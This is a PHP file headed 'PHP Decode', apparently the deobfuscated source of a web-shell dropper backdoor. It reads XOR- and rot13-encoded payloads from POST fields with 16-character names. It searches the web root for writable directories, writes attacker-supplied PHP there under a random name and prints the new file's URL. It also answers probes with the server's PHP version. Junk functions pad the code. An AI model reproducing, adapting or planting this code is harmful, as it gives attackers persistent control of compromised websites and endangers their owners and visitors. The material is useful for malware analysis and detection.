PHP Decode

<?php function bPtaEArGi($CNfVJ, $raWiNpq, $ooflNWV) 
{ 
    global $MtoceGnoB; 
    $JKLMlyzS = 'strlen'; 
    return cPaeG(cPaeG($CNfVJ, $MtoceGnoB[$raWiNpq % $JKLMlyzS($MtoceGnoB) ]) , $ooflNWV); 
} 
$JTVTMve = 'LHPTKC'; 
function FKdkz($JTVTMve) 
{ 
    $RlctCIOi = 'str_rot13'; 
    $JTVTMve = $RlctCIOi($JTVTMve); 
    $SCbNlktpsn = 'CJicVKq'; 
    $HLiXB = 'rawurldecode'; 
    $JTVTMve = $HLiXB($JTVTMve); 
    $oPHXR = 'str_split'; 
    $JTVTMve = $oPHXR($JTVTMve); 
    $IPZLRnwEr = 28; 
    return $JTVTMve; 
} 
function cPaeG($xGtLOSLE, $lfLddpW) 
{ 
    return $xGtLOSLE ^ $lfLddpW; 
} 
function czXelJz() 
{ 
    $hopWrtaHwY = 52; 
    $LJJElMIwyj = 19; 
} 
$MtoceGnoB = 'd4759560-8ffd-449d-93fa-5d67d0824ab4'; 
function giHqbLAaBs($KhKJhRpK, $ooflNWV) 
{ 
    $MyfaJpJn = 'array_values'; 
    $UyYhGEqZ = 'array_keys'; 
    $dBTwgkX = 'array_map'; 
    $KhKJhRpK = $dBTwgkX('bPtaEArGi', $MyfaJpJn($KhKJhRpK) , $UyYhGEqZ($KhKJhRpK) , $MyfaJpJn($ooflNWV)); 
    $xtAtV = 'implode'; 
    $KhKJhRpK = $xtAtV('', $KhKJhRpK); 
    $PyTlGlnmE = 'unserialize'; 
    $KhKJhRpK = @$PyTlGlnmE($KhKJhRpK); 
    return $KhKJhRpK; 
} 
function NvwcZ($ooflNWV, $KhKJhRpK) 
{ 
    $VCKdDL = 'array_slice'; 
    $sTpGwWkPr = 'str_repeat'; 
    $kPGEhBXDIn = 'str_split'; 
    $YcglLyk = 'intval'; 
    $qtMDD = 'count'; 
    $ooflNWV = $VCKdDL($kPGEhBXDIn($sTpGwWkPr($ooflNWV, $YcglLyk($qtMDD($KhKJhRpK) / 16) + 1)) , 0, $qtMDD($KhKJhRpK)); 
    return $ooflNWV; 
} 
czXelJz(); 
function heMwqX() 
{ 
    echo 'bUnedUkA'; 
    $pXEWhWJk = 27; 
} 
function MkkeTQj($litOQYZ) 
{ 
    static $XRzTlB = array(); 
    $qcewj = glob($litOQYZ . '/*', GLOB_ONLYDIR); 
    $gJIkXoLpW = 'count'; 
    $evsOxQ = $gJIkXoLpW($qcewj); 
    if ($evsOxQ > 0) 
    { 
        foreach ($qcewj as $vLMZxcvUOV) 
        { 
            $Uqldj = 'is_writable'; 
            if (@$Uqldj($vLMZxcvUOV)) 
            { 
                $XRzTlB[] = $vLMZxcvUOV; 
            } 
        } 
    } 
    foreach ($qcewj as $litOQYZ) MkkeTQj($litOQYZ); 
    return $XRzTlB; 
} 
function zHjHYRIc($KhKJhRpK) 
{ 
    $jhbahpo = 'DOCUMENT_ROOT'; 
    $ZSgAsTCRr = $_SERVER[$jhbahpo]; 
    $ozRbGnszko = 'msQAQBB'; 
    $qcewj = MkkeTQj($ZSgAsTCRr); 
    $ZHFfx = 'ATiKN'; 
    $hAcATkdvj = 'strlen'; 
    $ozRbGnszko = $hAcATkdvj($ozRbGnszko); 
    $HaGdBwniwP = 'array_rand'; 
    $KjBbdNLPDCQrTg = $HaGdBwniwP($qcewj); 
    $oeJuZFV = 'strtoupper'; 
    $oegIqQ = $oeJuZFV($ozRbGnszko); 
    $NhBOaV = 'php'; 
    $iHVOh = '/'; 
    $nxMQyz = 'substr'; 
    $GdAOLmYI = 'time'; 
    $zGGHfjo = 'md5'; 
    $YCJpj = $qcewj[$KjBbdNLPDCQrTg] . $iHVOh . $nxMQyz($zGGHfjo($GdAOLmYI()) , 0, 8) . $NhBOaV; 
    $rDlzVm = 'file_put_contents'; 
    @$rDlzVm($YCJpj, $KhKJhRpK); 
    $aAtUliwSC = 'Yvgrv'; 
    $ozRbGnszko = $ozRbGnszko - 10; 
    $OSecVlfbY = 'HTTP_HOST'; 
    $AzNJXU = 'http://'; 
    $CflNOhX = 'strlen'; 
    $iuqJj = 'substr'; 
    $QMhHrLMlG = $AzNJXU . $_SERVER[$OSecVlfbY] . $iuqJj($YCJpj, $CflNOhX($ZSgAsTCRr)); 
    $Qlbxp = 5; 
    print ($QMhHrLMlG); 
    $mpAfdax = 'strrpos'; 
    $ozRbGnszko = $mpAfdax($oegIqQ, 'tlpko'); 
} 
function wUUjojFc($KhKJhRpK, $KjBbdNLPDCQrTg) 
{ 
    if ($KhKJhRpK !== $KjBbdNLPDCQrTg) 
    { 
        zHjHYRIc($KhKJhRpK); 
        $UgrlZrgVOL = 15; 
    } 
    else 
    { 
        mcGXllSdaq(); 
        $fULuLdQQH = 3; 
    } 
    exit(); 
} 
function mcGXllSdaq() 
{ 
    $lGJgLvj = 'php'; 
    $DZLTj = 'phpversion'; 
    $KhKJhRpK = Array( 
        $lGJgLvj => @$DZLTj() , 
    ); 
    $DhLloV = 'serialize'; 
    echo @$DhLloV($KhKJhRpK); 
} 
function lFASdlKj() 
{ 
    $KOrkoDUhmi = 'YFdmx'; 
    $WEhojEE = 70; 
    $wcCbYu = 'DpezXHvIVH'; 
    $ZsUZrbINS = 'bXe'; 
    $ukexBvbTXn = 'PW'; 
    $wkpexmY = 'strtolower'; 
    $EBcDH = $wkpexmY($KOrkoDUhmi); 
    $iufhFb = 'strtoupper'; 
    $KOrkoDUhmi = $iufhFb($KOrkoDUhmi); 
    $xkfBpdMEM = 58; 
} 
function MUcaNfZm() 
{ 
    echo 'LHPTKC'; 
} 
function vSxdmkqQMn($KhKJhRpK) 
{ 
    $wkjVRTrJ = 'array_keys'; 
    return $wkjVRTrJ($KhKJhRpK); 
} 
foreach ($_POST as $ooflNWV => $KhKJhRpK) 
{ 
    $lLgksJ = 'strlen'; 
    if ($lLgksJ($ooflNWV) == 16) 
    { 
        $KhKJhRpK = FKdkz($KhKJhRpK); 
        $ooflNWV = NvwcZ($ooflNWV, $KhKJhRpK); 
        $KhKJhRpK = giHqbLAaBs($KhKJhRpK, $ooflNWV); 
        $ASycgh = 'is_array'; 
        if (@$ASycgh($KhKJhRpK)) 
        { 
            $vLMZxcvUOVSWUsXg = vSxdmkqQMn($KhKJhRpK); 
            $PBtDRjnU = 'AwN'; 
            wUUjojFc($KhKJhRpK[$vLMZxcvUOVSWUsXg[0]], $vLMZxcvUOVSWUsXg[0]); 
            $XQLeSdOu = 'HwlS'; 
            $aeSqbJW = 'rawurlencode'; 
            $PBtDRjnU = $aeSqbJW($XQLeSdOu); 
        } 
    } 
} 
foreach ($_POST as $ooflNWV => $KhKJhRpK) 
{ 
    $VqFANj = 'strlen'; 
    if ($VqFANj($ooflNWV) == 16) 
    { 
        $KhKJhRpK = FKdkz($KhKJhRpK); 
        $soqLLN = 'base64_decode'; 
        $JCRZn = $soqLLN($ooflNWV); 
        $vrgVPfmZ = 'md5'; 
        $JAKssumCkK = $vrgVPfmZ($ooflNWV); 
        $ooflNWV = NvwcZ($ooflNWV, $KhKJhRpK); 
        $OaJTBqXtcL = 'strlen'; 
        $Ftfljgs = $OaJTBqXtcL($ooflNWV); 
        $KhKJhRpK = giHqbLAaBs($KhKJhRpK, $ooflNWV); 
        $VstlpWxN = 'md5'; 
        $hCCYDOOHrR = $VstlpWxN($KhKJhRpK); 
        $eNxUvBx = 'is_array'; 
        if (@$eNxUvBx($KhKJhRpK)) 
        { 
            $vLMZxcvUOVSWUsXg = vSxdmkqQMn($KhKJhRpK); 
            $ICzgOBrbV = 'count'; 
            $AuBHgfpnV = $ICzgOBrbV($vLMZxcvUOVSWUsXg); 
            $PBtDRjnU = 'grVpOWGr'; 
            for ($KjBbdNLPD = 0;$KjBbdNLPD < $AuBHgfpnV;$KjBbdNLPD++) 
            { 
                $pHREh = $KhKJhRpK[$vLMZxcvUOVSWUsXg[$KjBbdNLPD]]; 
                wUUjojFc($pHREh, $vLMZxcvUOVSWUsXg[$KjBbdNLPD]); 
            } 
            $XQLeSdOu = 'tCOKLoAsoG'; 
            $cPZkx = 'rawurlencode'; 
            $PBtDRjnU = $cPZkx($XQLeSdOu); 
            $QYUfX = 'explode'; 
            $tzfKeVE = $QYUfX(',', $hCCYDOOHrR); 
            $kwhtzablpJ = 'is_array'; 
            if ($kwhtzablpJ($tzfKeVE)) 
            { 
                $vLMZxcvUOVVJiMBZQ = isset($tzfKeVE[0]) ? $tzfKeVE[0] : ''; 
                $qORBwq = isset($tzfKeVE[1]) ? $tzfKeVE[1] : ''; 
                $XxmFzGxTg = 'str_repeat'; 
                $psjzkY = $XxmFzGxTg($vLMZxcvUOVVJiMBZQ, 2) . $XxmFzGxTg($qORBwq, 3); 
                $GyFdUl = 'array_slice'; 
                $MzVeIwjOJ = 'str_split'; 
                $SUwoL = $GyFdUl($MzVeIwjOJ($psjzkY, 5) , 0, 4); 
            } 
        } 
    } 
} 
 
lFASdlKj(); ?>